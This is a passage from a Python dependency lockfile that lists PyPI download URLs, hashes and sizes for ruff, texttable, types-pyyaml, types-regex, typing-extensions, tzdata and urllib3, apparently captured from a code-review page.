{ url = "https://files.pythonhosted.org/packages/c8/bd/bbb6d7fc7f208c8b8c50dd5dc8206e4cfdb1e7a8fb852606a3adf370c880/ruff-0.16.9-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d29c934357e45642fda2f34c0b1f4025b4a6c01e15e4bf0016879d60078a142c", size = 10869787, upload-time = "2026-09-24T20:37:28.35Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/bc/b8/9c543074918061abbefc3bd139bee22de35abedb00dde0f2d27288838962/ruff-0.16.9-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a21713e629d3e5bdb2f5c2def1cc7f04f47fa8e1a7eb0571b4a28e1da64bc728", size = 10406494, upload-time = "2026-09-24T20:37:30.624Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/35/7a/5a8851bd146e7ccf8fd4b003f6c75c11f8fbdb0e60673b45097986b6bf41/ruff-0.16.9-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:7baa24ef5fc8e77aa93879e1d3f43754a01ae488e869f1ae30cf431afd4d2452", size = 10590083, upload-time = "2026-09-24T20:37:32.439Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/87/f0/4c3467188f23f806960b46fa76575a7cd0514c9ba90562650b71efc96980/ruff-0.16.9-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a41aac6230aadfaa133bdfa1614488531ffa3e0837567ae04c0da2058a9c0f9e", size = 10119151, upload-time = "2026-09-24T20:37:34.581Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/15/34/5a4def5adea572ce6aea0bb64f21f928ee317b80e0db747d7979b01d7261/ruff-0.16.9-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:c2529fb5896d49115b0e9aa8f887490b34bbe76baf879ec2264ac59406869ce7", size = 9911544, upload-time = "2026-09-24T20:37:36.796Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/62/5d/d15ebea7499eef9373318c0ee6ca127832927c6529731f6d48e18dce7ca9/ruff-0.16.9-py3-none-musllinux_1_2_i686.whl", hash = "sha256:41e3870277694177429b56406d65dfbdb2c2802c52b715edaf6a0b829c69d4ee", size = 10269884, upload-time = "2026-09-24T20:37:38.857Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d1/56/c5d3cd119ded7a3c7aba0e961b69cb3df701c91662c98ad694467d060ce1/ruff-0.16.9-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:8adbe4e58af167f767d7b2ba5e83c42e878350796cf78c2f5e14ab9903a92588", size = 10749366, upload-time = "2026-09-24T20:37:41.042Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ac/fe/734ec7527029ac757ecf821f143c9f3fcf69149c21f53a044a899b430f5a/ruff-0.16.9-py3-none-win32.whl", hash = "sha256:0e1dbc2073624dee6618d41d0098690a7244654af746704b64759e12b6b6b385", size = 10152355, upload-time = "2026-09-24T20:37:43.025Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/14/21/26e4643629b3ebb44f0a06f9c9a53058d63d989415f63a9a3c28e2ee7f22/ruff-0.16.9-py3-none-win_amd64.whl", hash = "sha256:6bd40fec8cd4c8a3d4dd589bd8ad4e6320c13c29234159bfd959a40d529d597b", size = 10592965, upload-time = "2026-09-24T20:37:44.944Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/51/60/5fb1a39dbb5ae314d5f59bc7348a63c1d5c20f3cd83914c4b5cb0be31d2d/ruff-0.16.9-py3-none-win_arm64.whl", hash = "sha256:ed1a252039200f57a59eebc063b54beabea67bfbaaca0eeaa7f54b5fbcda2284", size = 10458649, upload-time = "2026-09-24T20:37:46.882Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "texttable"
|
||||||
|
version = "1.7.0"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/1c/dc/0aff23d6036a4d3bf4f1d8c8204c5c79c4437e25e0ae94ffe4bbb55ee3c2/texttable-1.7.0.tar.gz", hash = "sha256:2d2068fb55115807d3ac77a4ca68fa48803e84ebb0ee2340f858107a36522638", size = 12831, upload-time = "2023-10-03T09:48:12.272Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/24/99/4772b8e00a136f3e01236de33b0efda31ee7077203ba5967fcc76da94d65/texttable-1.7.0-py2.py3-none-any.whl", hash = "sha256:72227d592c82b3d7f672731ae73e4d1f88cd8e2ef5b075a7a7f01a23a3743917", size = 10768, upload-time = "2023-10-03T09:48:10.434Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "types-pyyaml"
|
||||||
|
version = "6.0.12.20260906"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/90/6e/abec85b9013db5b934b0280a6dd104904d84f7bcbaab2e2f3def87ac7463/types_pyyaml-6.0.12.20260906.tar.gz", hash = "sha256:f59c1cc05010b833d2d72287bbaa72610106b28d42d89a907313117faba85212", size = 18649, upload-time = "2026-09-06T06:35:35.362Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/15/c0/fc0644b7ddcfb969e95845837143cb5173ddd6e06ee4ba5fc493cd9329b7/types_pyyaml-6.0.12.20260906-py3-none-any.whl", hash = "sha256:bca893ff0d51df5c9053137d5d0e6ccd36e939a196356f1d5c16372422f5137b", size = 21282, upload-time = "2026-09-06T06:35:34.372Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "types-regex"
|
||||||
|
version = "2026.9.10.20260911"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/de/df/3a585f38e180cd6f4588a9549f380a81dd0b71b43c307eb35c10944390a3/types_regex-2026.9.10.20260911.tar.gz", hash = "sha256:049b83eebc92c38fff283444b4046f58a5dea45bfea20c352bc5159308175b6a", size = 13841, upload-time = "2026-09-11T06:45:05.953Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d6/58/3ac578b782e529fe803abf8c7e05b3f9f8da42bbfd2d5020da30c1ae1daa/types_regex-2026.9.10.20260911-py3-none-any.whl", hash = "sha256:2b55d91d317164800d5630a2273b70b723d9e0e7c40654d2b89465670c62ab06", size = 11192, upload-time = "2026-09-11T06:45:05.064Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "typing-extensions"
|
||||||
|
version = "4.16.0"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/f6/cc/6253133b5bb138fc3306cebfbda2c520f545d36b5be2c7255cc528bb45d6/typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5", size = 113555, upload-time = "2026-07-02T08:40:05.92Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/49/d3/b8441a820a491ddfc024b0b0cf0393375b75ea13866d9c66727e54c2fc80/typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8", size = 45571, upload-time = "2026-07-02T08:40:04.659Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tzdata"
|
||||||
|
version = "2026.4"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/e4/31/3d74fa778a63b98b7374323befcc0be5ab3bd94afd4096a0124e7379152c/tzdata-2026.4.tar.gz", hash = "sha256:f1b8bd365d8d210c55353f4d7f8d6d8561c0ba50d704b700d195a9424bba0d79", size = 199350, upload-time = "2026-09-12T12:56:03.251Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f9/bc/8737e8d54cf51106118039b83f485a4783112fab49ea9d044b234978a46e/tzdata-2026.4-py2.py3-none-any.whl", hash = "sha256:c2169a8b0a7a5e9674da5a135ccdfb2b3e671b333ed9fed17b41f73c34476e81", size = 347494, upload-time = "2026-09-12T12:56:01.67Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "urllib3"
|
||||||
|
version = "2.8.0"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/e3/05/b17359e1cefb4f909b5e40b1b90a496d987258916dbbf88e842c729f510e/urllib3-2.8.0.tar.gz", hash = "sha256:63bf2ead4c879426ebf22ef2a781eeb4aa3b4ae798a0435506f8687fd5bb9b63", size = 458972, upload-time = "2026-09-15T19:29:36.253Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/92/9d/c4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c/urllib3-2.8.0-py3-none-any.whl", hash = "sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3", size = 135717, upload-time = "2026-09-15T19:29:34.577Z" },
|
||||||
|
]
|
||||||
Reference in new issue
Block a user